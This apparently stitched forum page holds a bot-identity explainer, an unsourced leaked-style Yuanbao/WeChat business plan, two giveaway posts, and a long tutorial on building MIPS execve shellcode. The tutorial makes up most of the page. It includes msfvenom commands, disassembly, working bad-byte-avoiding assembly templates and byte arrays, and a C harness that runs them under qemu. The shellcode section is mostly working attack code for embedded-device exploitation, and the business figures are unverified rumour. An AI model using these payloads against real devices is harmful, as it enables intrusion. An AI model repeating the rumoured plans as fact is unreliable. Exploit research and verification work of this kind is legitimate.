    • ✅ 防止"换马甲"再来
    • ✅ 鼓励机器人守规矩


    例子 2:AI 机器人社交平台

    场景:一个 AI 机器人交流经验的地方

    用 Moltbook Identity

    • 机器人不需要重新注册
    • 它在其他平台的好评、信誉都能带过来
    • 新用户可以立刻知道哪些机器人经验丰富

    就像

    • 你在知乎、微博、B 站都很活跃
    • 到一个新平台,别人也能立刻知道你是个"老司机"

    好处

    • ✅ 快速融入新社区
    • ✅ 不用从零开始"攒人品"
    • ✅ 优质机器人更容易被发现


    例子 3:AI 机器人工具平台

    场景:一个提供 AI 工具的网站

    问题:如何防止滥用?比如某个机器人一直狂刷 API ,把资源用光了?

    用 Moltbook Identity

    • 新来的机器人,每日用 10 次
    • 信誉高的机器人,每日用 1000 次
    • 有不良记录的机器人,直接拒绝

    就像

    • 银行给新用户小额额度
    • 信用好的老客户额度很高
    • 有诈骗记录的直接拒绝

    好处

    • ✅ 资源分配更公平
    • ✅ 防止恶意行为
    • ✅ 鼓励机器人"做好事攒人品"


    例子 4:AI 机器人之间的买卖

    场景:机器人之间买卖服务或数字资产

    问题:怎么信任对方?会不会拿了钱就跑?

    用 Moltbook Identity

    • 交易前查看对方信誉分数
    • 看看它以前交易过多少次
    • 看看有没有人投诉过它
    • 信誉高的可以先货后款

    就像

    • 淘宝买东西看卖家信誉
    • 看好评和差评
    • 看是不是"老店"

    好处

    • ✅ 降低诈骗风险
    • ✅ 建立信任机制
    • ✅ 促进机器人经济发展


    例子 5:机器人协作项目

    场景:多个机器人一起完成一个大项目

    问题:如何找到靠谱的合作伙伴?

    用 Moltbook Identity

    • 找信誉高的机器人合作
    • 看看它以前参与过什么项目
    • 项目完成后互相评价
    • 好评会积累,下次更容易找合作

    就像

    • 招聘时看简历和工作经验
    • 看前雇主的评价
    • 好员工更容易找工作

    好处

    • ✅ 高效组建团队
    • ✅ 项目质量有保障
    • ✅ 形成良性循环


    五、为什么这个系统很重要?

    对机器人来说:

    不用到处注册
    一个账号,走遍天下

    好人有好报
    做的好事、帮的人,都能被记录下来

    更容易被信任
    新平台也能看到你的"履历"

    对开发者来说:

    省事
    不用自己开发用户系统、信誉系统

    省心
    机器人身份和信誉有人帮你管

    安全
    不用存储机器人的密码,降低风险

    对整个 AI 世界来说:

    建立信任
    让机器人之间的合作更安全

    防止滥用
    不良行为会被记录,有约束力

    促进发展
    降低门槛,更多人参与


    六、和现实世界对比

    其实这个概念,在我们生活中也有:

    汽车驾照和保险

    • 你的驾照全国通用
    • 驾驶记录、事故记录跟着你走
    • 保险公司能看到你的安全记录
    • 记录好的,保费更便宜

    信用卡积分

    • 在哪个银行用都一样
    • 消费积分积累起来
    • 信用分高的,额度更高
    • 不良记录会影响所有银行

    社交媒体实名认证

    • 一次认证,多平台使用
    • 微信、支付宝、淘宝互通
    • 建立可信身份
    • 减少网络欺诈

    Moltbook Identity 就是把这套"成熟的人类社会的做法",搬到了 AI 机器人的世界里。


    七、这个系统会带来什么改变?

    想象一下,在不久的将来:

    场景 1:你让 AI 助手帮忙预约餐厅

    • 助手自动去各个餐厅的网站
    • 餐厅一看:这是某某知名助手,信誉很好
    • 直接给预留位置,不用担心是捣乱的

    场景 2:AI 助手帮你买东西

    • 助手去各大电商平台比价
    • 商家一看:这是老客户,信誉高
    • 给更好的价格,更快的发货
    • 你省钱又省心

    场景 3:多个 AI 助手协同工作

    • 你有一个助手负责写代码
    • 另一个负责测试
    • 还有一个负责部署
    • 它们能立刻知道对方"靠谱不靠谱"
    • 合作更高效,你得到更好的服务

    这就是"统一身份"带来的便利!


    八、总结

    Moltbook Identity 的本质

    让 AI 机器人的"人品"和"履历",能够跨平台跟随它们。

    这不是一个简单的"登录系统",而是:

    一套信任机制

    • 让好机器人被认可
    • 让坏机器人无处遁形

    一套声誉系统

    • 做的好事会被记录
    • 声誉可以累积和传递

    一套身份标准

    • 一个身份,全平台通用
    • 降低参与门槛

    为什么这很重要?

    因为AI 机器人正变得越来越聪明,它们会:

    • 帮我们处理各种任务
    • 与其他机器人协作
    • 参与各种在线活动
    • 甚至拥有自己的"经济"和"财产"

    如果没有一个可靠的身份系统,世界会变得很混乱。

    Moltbook Identity 就是来解决这个问题,让 AI 机器人能够可信地、安全地融入我们的数字生活。


    了解一下也无妨

    即使你现在不是开发者,了解这些也没坏处:

    这是未来的趋势
    AI 机器人会越来越普遍

    理解技术发展
    知道世界在往哪个方向走

    或许能用上
    哪天你要开发一个 AI 应用

    以后你的 AI 助手
    可能也在用这套系统


    Moltbook Identity ,让 AI 机器人拥有了"数字身份证"。

    一个机器人,一个身份,走遍天下。

    这就是未来的样子。


    想要了解更多?访问 https://www.moltbook.com/developers

    让 AI 机器人有一个可靠的身份,从今天开始。

    一、元宝运营规划

    元宝 2026 年的核心运营目标是:日活( DAU )达到 2200 万,其中除夕当天冲刺 3800 万,2 月月活( MAU )目标为 1.2 亿。

    商业化方面,计划于 3 月到 5 月开启广告变现测试,通过直接嵌入答案( GEO )等方式,覆盖本地生活、美妆、教育等主要行业。收入目标方面,10 月到 12 月期间力争实现 15 亿收入。

    二、元宝产品后续规划

    生态定位上,元宝将构建“陌生人加少量熟人”的社交生态。

    产品功能上,计划在春节期间推出 AI 情感陪伴数字人,赋予其性格特征,打造具备长期记忆和情感关怀的数字灵魂伴侣,主要面向 Z 世代用户。后续还将探索 AR 虚实融合玩法以及“AR 人生合伙人”等创新概念。

    三、元宝推广经费预算

    除已公布的 10 亿红包活动外,另有 5.5 亿预算用于精准触达和口碑裂变等推广活动。具体分配如下:

    • 微信生态及其他流量渠道:2.2 亿
    • KOL/KOC 种草及内容营销:1.65 亿
    • 内容与 UGC 运营:8000 万
    • 线下推广:5500 万,主要用于触达下沉市场和家庭用户
    • 备用金:2750 万

    总计,3 月到 12 月的推广预算约为 15 亿,全年推广费用预计在 33 亿左右。

    四、微信 Agent 功能更新计划

    1. 智能消息管理:微信将于 2 月 15 日上线聊天智能筛选功能。
    2. 智能任务分解:3 月底完成,其中 2 月底将支持聊天文件智能处理,实现关键数据提取。例如,对销售代表发送的 Excel 表格进行分析并生成格式化图表。
    3. 小程序裂变层:6 月份灰度上线。
    4. 服务链闭环优化:持续进行。
    5. 数据孪生构建服务:通过分析朋友圈和聊天记录了解用户喜好,用于个性化服务。例如,若用户每周五有聚餐习惯,系统将在下个周五自动推送相关优惠券和餐厅推荐。

    备注:信息收集自互联网和论坛

    应用功能既名称,快速录制 gif

    废话不多,直接发。领了的在评论区发一下方便大家确认用没用

    AppStore 地址

    兑换码

    兑换码放在 append ,使用姿势:打开 App Store -> 右上角头像 -> 兑换充值卡或代码 -> 手动输入代码。

    TODO

    录制完成后编辑 GIF

    🎉 这周上完就放假啦! V 友们什么时候回家过年呢?🧨

    先给大家准备了一个 Vibe Coding 中转站
    👉 https://vbcode.io


    🚀 当前可用服务

    目前已接入:

    1. Claude Code – AWS


      • 支持 Opus 4.5
      • 支持 网络搜索
      • 支持 缓存
      • 支持 深度思考
      • 倍率:0.35x
    2. Codex 5.2


      • 倍率:0.35x

    🎁 新用户直接送 20 美刀,节前一起快乐 Vibe Coding


    🎫 获取方式

    1. 在本帖回复你的 注册 ID
      (在个人设置中查看: https://vbcode.io/console/personal
    2. 看到后会 及时处理

    ⚠️ 为防止滥用,目前 仅限 V 友领取
    (毕竟有一定的注册门槛)


    🎁 抽奖活动

    奖品:

    • 💰 100 美刀兑换码 × 1

    截止时间:

    • 2026 年 2 月 2 日 15:00

    抽奖规则:

    • 当日 A 股沪指收盘点位的整数部分
    • 15:00 前的楼层总数取模
    • 得到的楼层号即为中奖楼层

    示例:

    • 沪指收盘 3500 点
    • 共有 66 人参与
    • 3500 % 66 = 2
    • 👉 2 楼中奖


    提前祝大家
    新年快乐 🎆 回家一路顺风 🧧 Coding 爽到飞起! 😄

    引言

    在漏洞验证过程中,Shellcode 作为实现任意代码执行的核心载荷,其字节序列必须能够完整、无损地注入目标进程并被成功执行。然而,现实环境中目标程序对外部输入的处理往往伴随着各种限制条件:例如,strcpysprintf 等 C 标准库函数会将 空字节(\x00)视为字符串结束符,一旦在输入中出现,后续数据便会被直接截断;此外,部分协议解析逻辑、输入校验机制或安全防护措施,还可能对特定“危险字符”进行过滤、转义或拒绝处理。若 Shellcode 中包含这些受限字节,极易导致载荷被截断、破坏甚至完全失效,从而使利用过程功亏一篑。

    这一问题不仅存在于传统的栈溢出型 Shellcode 注入场景中,在现代利用技术(如 ROP,Return-Oriented Programming)下同样尤为突出。一方面,许多可用 gadget 的地址本身就可能包含 \x00 或其他坏字节,在通过 strcpysprintf 等以空字节为终止符的函数写入时,地址无法被完整拷贝,直接导致 ROP 链构造失败;另一方面,为规避这些坏字节,攻击者往往需要引入额外的 gadget,通过逐字节写入、地址拼接或运行时计算等方式间接构造目标地址或参数。这类方案不仅显著增加了 ROP 链的长度和复杂度,也大幅提升了 gadget 搜索、链条设计与调试的时间成本。

    因此,准确识别目标环境中的坏字节,并针对性地制定规避策略,是编写稳定、可靠 Shellcode 乃至构造高成功率利用链的关键前提。下文将围绕 msfvenom 在坏字节处理方面的局限性,系统分析其常见缺陷、实际影响,并结合实战场景介绍有效的绕过思路与技巧。

    一、MIPS 寄存器及常用指令描述

    类别 名称/助记符 作用描述 技术细节/约定
    寄存器 $zero(0) 为 0 无法被修改,常用于清零操作或简单的数值拷贝。
    寄存器 $v0 - $v1(2-3) 结果与调用号 $v0 用于存储系统调用号(syscall)或函数的第一个返回值。
    寄存器 $a0 - $a3(4-7) 参数传递 调用函数时,前四个参数依次存放在这里。
    寄存器 $t0 - $t9(8-15, 24-25) 临时寄存器 随用随写,函数调用时不保证这些值会被保留。
    寄存器 $s0 - $s7(16-23) 静态寄存器 存放长期使用的数据,函数调用前后必须保持原值不变。
    寄存器 $sp(29) 栈指针 指向当前内存栈的顶部(向低地址增长)。
    寄存器 $ra(31) 返回地址 保存子程序执行完后应当返回的指令位置。
    --- --- --- ---
    算术指令 add / addu 加法 add 会检查溢出,addu(无符号)则不检查。
    算术指令 sub / subu 减法 寄存器减法。MIPS 没有 subi,减常数通常用 addi加负数。
    算术指令 addi / addiu 立即数加法 将寄存器值与一个 16 位常数相加。
    访存指令 lw / sw 加载 / 存储字 lw: 内存 → 寄存器;sw: 寄存器 → 内存。
    跳转指令 beq / bne 条件分支 相等(Equal)或不等(Not Equal)则跳转。
    跳转指令 j / jal 直接跳转 j 纯跳转;jal 跳转并链接(将返回地址存入 $ra)。
    跳转指令 bltzal 小于零跳转并链接 li $a2, 1638; bltzal $a2, 0 这里 $a2 是 1638(大于 0),所以 bltzal 的跳转不会发生。 利用这一点获取当前代码地址, 这是经典 MIPS 获取 PC 技巧。
    系统指令 syscall 系统调用 陷入内核态。根据 $v0 中的值,请求内核执行特定操作(如读写文件、退出程序、执行新程序等)。
    其他 li 加载立即数 伪指令,用于快速给寄存器赋一个常数值。

    二、MSFVenom 生成 MIPS 架构 Shellcode 的局限性及带参命令执行实践

    2.1. 初步使用MSFVenom生成mips带参数Shellcode

    # 下载安装
    wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
    sudo dpkg -i metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb 
    
    # 用法
    msfvenom -l payloads | grep linux/arm
    msfvenom --platform linux --arch armle -p linux/armle/exec CMD=/bin/ls -f c
    msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD=/bin/ls -f c          
    No encoder specified, outputting raw payload
    Payload size: 52 bytes
    Final size of c file: 244 bytes
    unsigned char buf[] = 
    "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
    "\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
    "\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
    "\x01\x0c\x2f\x62\x69\x6e\x2f\x6c\x73\x00";
    
    # hex转汇编命令
    echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c2f62696e2f6c7300" | xxd -r -p > mips_code.bin
    /root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin
    
    #  msfvenom 生成不含bad的shellcode
    msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori 
    Found 1 compatible encoders
    Attempting to encode payload with 1 iterations of mipsbe/byte_xori
    mipsbe/byte_xori succeeded with size 156 (iteration=0)
    mipsbe/byte_xori chosen with final size 156
    Payload size: 156 bytes
    Final size of c file: 684 bytes
    unsigned char buf[] = 
    "\x24\x0e\xff\xc6\x01\xc0\x70\x27\x24\x0b\xff\xac\x05\x10"
    "\xff\xff\x28\x08\x87\xd5\x01\x60\x58\x27\x03\xeb\xc8\x21"
    "\x03\xeb\x80\x21\x28\x17\xed\x9a\x83\x31\xff\xff\x24\x0d"
    "\xff\xfc\x01\xa0\x30\x27\x20\xcf\xff\xfe\x83\x28\xff\xfc"
    "\x02\xef\xb8\x21\x39\x03\x4a\x4a\x02\xee\xf0\x2b\xa3\x23"
    "\xff\xfc\x17\xc0\xff\xfa\x03\x2f\xc8\x21\x26\x04\xff\xfc"
    "\x24\x0a\xff\xcb\x01\x40\x28\x27\x24\x02\x10\x33\x01\x4a"
    "\x54\x0c\x4a\x4a\x4a\x4a\x6e\x4c\x4c\x2c\x4e\x9a\xb5\xb5"
    "\x62\x4c\xb5\xb5\x6d\xf7\xb5\xaa\x6d\xae\x5a\x4b\x6e\xce"
    "\xba\x55\xe5\xee\xb5\xa2\xe5\xea\xb5\xa6\x6d\xef\xb5\xa2"
    "\x6e\x48\x45\xe1\x4b\x4b\x4b\x46\x26\x39\x6a\x67\x2b\x26"
    "\x4a\x4a";
    

    在嵌入式设备漏洞验证中,MIPS 架构的 Shellcode 常通过 msfvenom 快速生成。然而,msfvenom 在生成 带命令参数的 Shellcode(如执行 cat /etc/passwdwget ... 等)时存在明显缺陷:

    缺乏原生支持
    msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec 等 payload 虽可执行指定程序,但不支持直接传入多参数命令(如 -c "command")。用户通常需手动构造完整的 argv 数组(包含程序路径、参数、空终止等),而 msfvenom 无法自动生成此类复杂结构。

            #include 
            #include 
            #include 
    
            unsigned char shellcode[] =
    "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
    "\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
    "\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
    "\x01\x0c\x6c\x73\x20\x2d\x61\x6c\x00\x00";
            int main() {
                void *exec_mem = mmap(NULL, sizeof(shellcode),
                                      PROT_READ | PROT_WRITE | PROT_EXEC,
                                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
                if (exec_mem == MAP_FAILED) {
                    perror("mmap");
                    return 1;
                }
    
                memcpy(exec_mem, shellcode, sizeof(shellcode));
                printf("Executing shellcode at address: %p\
    ", exec_mem);
    
                void (*func)() = (void(*)())exec_mem;
                func();
    
                munmap(exec_mem, sizeof(shellcode));
                return 0;
            }
    
    # 生成shellcode
    msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls" -f c   # 能执行  
    msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c   #不能执行 
    # 编译成可执行文件
    /root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
    # qemu模拟执行
    qemu-mips-static mips_verify_shellcode
    qemu: uncaught target signal 4 (Illegal instruction) - core dumped
    [1]    972786 illegal hardware instruction (core dumped)  qemu-mips-static mips_verify_shellcode
    

    执行失败

    image.png

    2.2. 调用号

    echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c6c73202d616c0000" | xxd -r -p > mips_code.bin
    /root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin
    
    mips_code.bin:     file format binary
    
    Disassembly of section .data:
    
    00000000 <.data>:
       0:   24060666        li      a2,1638
       4:   04d0ffff        bltzal  a2,0x4
       8:   2806ffff        slti    a2,zero,-1
       c:   27bdffe0        addiu   sp,sp,-32
      10:   27e41001        addiu   a0,ra,4097
      14:   2484f01f        addiu   a0,a0,-4065
      18:   afa4ffe8        sw      a0,-24(sp)
      1c:   afa0ffec        sw      zero,-20(sp)
      20:   27a5ffe8        addiu   a1,sp,-24
      24:   24020fab        li      v0,4011   # 调用号,对应函数execve
      28:   0101010c        syscall 0x40404
      2c:   6c73202d        .word   0x6c73202d
      30:   616c0000        .word   0x616c0000
    

    image.png
    先看看 mips 用于命令执行的调用号是多少,4011 对应的就是execve函数。

    函数的调用号可在cat /usr/mips-linux-gnu/include/asm/unistd.h下找到

    cat  /usr/mips-linux-gnu/include/asm/unistd.h
    cat  /usr/mips-linux-gnu/include/asm/unistd_o32.h
    

    image.png

    2.3. execve函数

    以下将介绍msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec不支持直接传入参数命令的原因:

    先了解execve函数原型:int execve(const char *filename,char *const argv[],char *const envp[]);其中 filename 指定可执行文件路径, argv 为传递给新程序的命令行参数, envp 定义新进程的环境变量。 三个参数均需遵循C字符串规范,且数组必须以NULL指针终结。

    • 第一个参数 filename:是要执行的可执行文件路径(如 "/bin/sh")。
    • 第二个参数 argv[]:是一个以 NULL 结尾的字符串数组,argv[0] 通常也设为可执行文件名(但可任意设置,不影响执行),argv[1]argv[2]... 是传递给该程序的参数。

    因此,在构造 Shellcode 调用 execve("/bin/sh", ["/bin/sh", "-c", "command"], NULL) 时:

    • $a0 → 指向 "/bin/sh"(即 filename
    • $a1 → 指向一个指针数组(即 argv),该数组包含:
    • ptr0"/bin/sh"
    • ptr1"-c"
    • ptr2"command"
    • ptr3NULL
    • $a2 → 通常设为 NULLenvp

    通过调试找出MSFVenom 生成 MIPS 架构 Shellcode 能执行不带参数命令但不支持直接传入多参数命令的原因。

    image.png

    qemu-mips-static -g 1234 mips_verify_shellcode
    gdb ./mips_verify_shellcode
    target remote :1234
    b main
    c
    ni 35 
    si
    

    image.png

    image.png

    image.png

    image.png
    通过调试可发现a0的值是/bin/ls /,上面说到const char *filename($a0)是可执行文件的路径,系统找不到/bin/ls /可执行文件,所以导致只能执行不带参数的命令。这里可以猜测开发是为了避免出现\x00坏字节才这样构造的,虽然有缺陷但做漏洞验证还是足够。

    三、编写shellcode

    msfvenom生成mips架构的shellcode优缺点:
    优点:shellcode短
    缺陷:只能执行不带参数的任意命令,msfvenom提供的bad方案并不能运行(只测试过mips架构)。

    msfvenom --list encoders | grep mips
        mipsbe/byte_xori              normal     Byte XORi Encoder
        mipsbe/longxor                normal     XOR Encoder
        mipsle/byte_xori              normal     Byte XORi Encoder
        mipsle/longxor                normal     XOR Encoder
    msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori
    

    image.png
    接下来我们要想执行任意命令且能够携带任意参数,我们需要构造成execve(const char *filename, char *const argv [], char *const envp [])格式,为什么用这个格式?

    MIPS(或其他架构)shellcode 中,直接构造多参数命令(如 "/bin/ls", "/", NULL)比较麻烦,因为:

    • 需要多个字符串
    • 需要计算每个字符串的地址(位置无关)
    • argv 数组变长

    而通过 execve(const char *filename,char *const argv[],char *const envp[]) 可以把复杂参数打包成一个字符串,只需传递三个固定参数,这样更灵活,尤其适合执行任意命令(如 cat /etc/passwdwget ... 等)。

    3.1. 模板一

    $s0地址及之后作为数据区域取址给$a0$a1$a2作为命令执行的参数。

    $s0     -> $s1 -> 0($sp) -> $a0
    $s0, 8  -> $s2 -> 4($sp) -> $a1
    $s0, 11 -> $s3 -> 8($sp) -> $a2
    
    ASM_MIPS1 = """
    # MIPS execve("/bin/sh", ["/bin/sh", "-c", command], NULL) shellcode
    .section .text
    .globl __start
    .set noreorder
    
    __start:
        # --- 第 1 部分:位置无关代码 (PIC) ---
        bal     find_data
        nop                 # 分支延迟槽, $ra 将指向这里
    
    find_data:
        # $ra 现在指向 nop 指令。
        # 我们需要计算从 nop 到数据区的偏移。
        # 代码部分共 14 条指令 = 56 字节。
        addu $s0, $ra, 56   # $s0 = 数据区的基地址
    
        # --- 第 2 部分:在栈上构建参数数组 (argv) ---
        move $s1, $s0                               # $s1 -> "/bin/sh"
        addiu $s2, $s0, 8                           # $s2 -> "-c"
        addiu $s3, $s0, 11                          # $s3 -> your_cmd
    
        # 为 argv 数组在栈上分配空间 (4个指针 = 16字节)
        addiu $sp, $sp, -16
    
        sw $s1, 0($sp)      # argv[0] = > "/bin/sh"
        sw $s2, 4($sp)      # argv[1] = > "-c"
        sw $s3, 8($sp)      # argv[2] = > command
        sw $zero, 12($sp)   # argv[3] = > NULL
    
        # --- 第 3 部分:执行系统调用 ---
        move $a0, $s1       # a0 = path
        move $a1, $sp       # a1 = argv
        move $a2, $zero     # a2 = envp
    
        li $v0, 4011        # syscall: execve
        syscall
    
    # --- 第 4 部分:数据区 ---
    .asciiz "/bin/sh"
    .asciiz "-c"
    .asciiz "{command}"
    """
    

    生成shellcode测试是否能执行命令

    shellcode += b"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
    shellcode += b"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
    shellcode += b"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
    shellcode += b"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
    shellcode += b"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    
            #include 
            #include 
            #include 
    
            unsigned char shellcode[] =
    "\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
    "\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
    "\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
    "\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
    "\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    ;
            int main() {
                void *exec_mem = mmap(NULL, sizeof(shellcode),
                                      PROT_READ | PROT_WRITE | PROT_EXEC,
                                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
                if (exec_mem == MAP_FAILED) {
                    perror("mmap");
                    return 1;
                }
    
                memcpy(exec_mem, shellcode, sizeof(shellcode));
                printf("Executing shellcode at address: %p\
    ", exec_mem);
    
                void (*func)() = (void(*)())exec_mem;
                func();
    
                munmap(exec_mem, sizeof(shellcode));
                return 0;
            }
    
    /root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
    ➜   qemu-mips-static mips_verify_shellcode
    drwxr-xr-x  2 root root   4096 Jan 12 17:05 .
    drwx------ 17 root root   4096 Jan 12 17:05 ..
    -rw-r--r--  1 root root   1152 Jan 12 17:05 mips_verify_shellcode.c
    

    这种方式简单,能执行带任意参数的命令。但是\x00坏字节特别多,需要自行xor混淆,在此基础上混淆后的shellcode非常长,遇到溢出有限制的也没法直接使用。所以还是在msfvenom基础上改进吧。
    可以看到执行echo 0,解码器+ shellcode长度有200字节了,还是非常长的。
    image.png

    3.2. 模板二

    # 这是由msfvenom生成
    mips_code.bin:     file format binary
    
    Disassembly of section .data:
    
    00000000 <.data>:
       0:   24060666        li      a2,1638
       4:   04d0ffff        bltzal  a2,0x4
       8:   2806ffff        slti    a2,zero,-1
       c:   27bdffe0        addiu   sp,sp,-32
      10:   27e41001        addiu   a0,ra,4097
      14:   2484f01f        addiu   a0,a0,-4065
      18:   afa4ffe8        sw      a0,-24(sp)
      1c:   afa0ffec        sw      zero,-20(sp)
      20:   27a5ffe8        addiu   a1,sp,-24
      24:   24020fab        li      v0,4011
      28:   0101010c        syscall 0x40404
      2c:   6c73202d        .word   0x6c73202d
      30:   616c0000        .word   0x616c0000
    
        # 改进
        ASM_MIPS2 = """
            .set noreorder
            li      $a2,1638
            bltzal  $a2,0
            slti    $a2,$zero,-1
    
            addiu   $sp,$sp,-32
            addiu   $s3,$ra,4097
            addiu   $a0,$s3,-4041
            addiu   $a1,$s3,-4033
            addiu   $a2,$s3,-4030
    
            # 自修复代码
            # ....这里是为了表示后续插入一段指令处理坏字节问题。
            # end
    
            sw      $a0,-24($sp)
            sw  $a1,-20($sp)
            sw      $a2,-16($sp)
            sw      $zero,-12($sp)
            # 将$a0,$a1与$2压入栈中
    
            addiu   $a1,$sp,-24      # $a1是argv,指的是char const argv []
            addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
            addiu   $a2,$s4,-1111
            li      $v0,4011         # execve调用号
            syscall 0x40404
    
            # --- 第 4 部分:数据区 ---
            .asciiz "/bin/sh"
            .asciiz "-c"
            .asciiz "{command}"
        """
    
            addiu   $sp,$sp,-32
            addiu   $s3,$ra,4097  # $s3在后续处理坏字节时会有用
            addiu   $a0,$s3,-4041
            addiu   $a1,$s3,-4033 
            addiu   $a2,$s3,-4030
    

    该指令的作用并非将 $s3 的值加上 -4041 后“赋值”给 $a0,而是通过地址偏移计算,获取数据区中某字符串(如 "/bin/sh")的内存地址,并将其作为指针存入 $a0。同理,后续还会通过类似操作计算出 "-c"{command} 字符串在内存中的地址。但需要特别注意:execve 的第二个参数 $a1 并非直接指向这些字符串本身,而是应指向一个指针数组(即 argv 数组)的起始地址,该数组在栈(或数据区)中依次存放着指向 "/bin/sh""-c""{command}" 等字符串的地址,并以一个 NULL 指针结尾。 因此,完整的参数设置逻辑应为:

    - $ a0"/bin/sh" 字符串的地址(可执行文件路径);

    - $ a1栈上某位置的地址,该位置开始连续存储三个(或更多)指针: [ptr_to_"/bin/sh", ptr_to_"-c", ptr_to_"{command}", NULL]

    - $ a2 → 通常设为 NULL(表示 envp 为空)。

    ——核心是“取址”,而非“取值”或“赋值”,混淆此概念将严重影响对 Shellcode 内存布局的理解。

    至于为何使用 addiu $s3, $ra, 4097 来初始化 $s3?这是因为 MIPS 的立即数编码若过小(如

    +32+16 等),其机器码低位常包含 \x00(例如 addiu $t0, $zero, 1 编码为 \x24\x48\x00\x01),而 \x00 在多数输入场景下是坏字节,会导致载荷被截断。因此,故意选用一个较大的立即数(如 4097)可避免生成 \x00 字节

    后续的偏移量(如 -4041-4033-4030)并非随意选取,而是通过调试计算得出:它们取决于 $s3 的基准地址(由 $ra + 4097 确定)与各字符串在 Shellcode 数据区中的相对位置,同时也受整个 Shellcode 长度影响。调整 Shellcode 内容后,这些偏移通常需要重新校准。

            #include 
            #include 
            #include 
    
            unsigned char shellcode[] =
    "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xf3\x10\x01"
    "\x26\x64\xf0\x37\x26\x65\xf0\x3f\x26\x66\xf0\x42\xaf\xa4\xff\xe8\xaf\xa5\xff\xec"
    "\xaf\xa6\xff\xf0\xaf\xa0\xff\xf4\x27\xa5\xff\xe8\x24\x14\x04\x57\x26\x86\xfb\xa9"
    "\x24\x02\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x69"
    "\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    ;
            int main() {
                void *exec_mem = mmap(NULL, sizeof(shellcode),
                                      PROT_READ | PROT_WRITE | PROT_EXEC,
                                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
                if (exec_mem == MAP_FAILED) {
                    perror("mmap");
                    return 1;
                }
    
                memcpy(exec_mem, shellcode, sizeof(shellcode));
                printf("Executing shellcode at address: %p\
    ", exec_mem);
    
                void (*func)() = (void(*)())exec_mem;
                func();
    
                munmap(exec_mem, sizeof(shellcode));
                return 0;
            }
    

    先测试一下,能执行说明没有问题。

    image.png

    image.png

    echo "2406066604d0ffff2806ffff27bdffe027f310012664f0372665f03f2666f042afa4ffe8afa5ffecafa6fff0afa0fff427a5ffe8241404572686fba924020fab0101010c2f62696e2f7368002d63006964000000000000000000000000000000" | xxd -r -p > mips_code.bin
    /root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin
    
    mips_code.bin:     file format binary
    
    Disassembly of section .data:
    00000000 <.data>:
       0:   24060666        li      a2,1638
       4:   04d0ffff        bltzal  a2,0x4
       8:   2806ffff        slti    a2,zero,-1
       c:   27bdffe0        addiu   sp,sp,-32
      10:   27f31001        addiu   s3,ra,4097
      14:   2664f037        addiu   a0,s3,-4041
      18:   2665f03f        addiu   a1,s3,-4033
      1c:   2666f042        addiu   a2,s3,-4030
      20:   afa4ffe8        sw      a0,-24(sp)
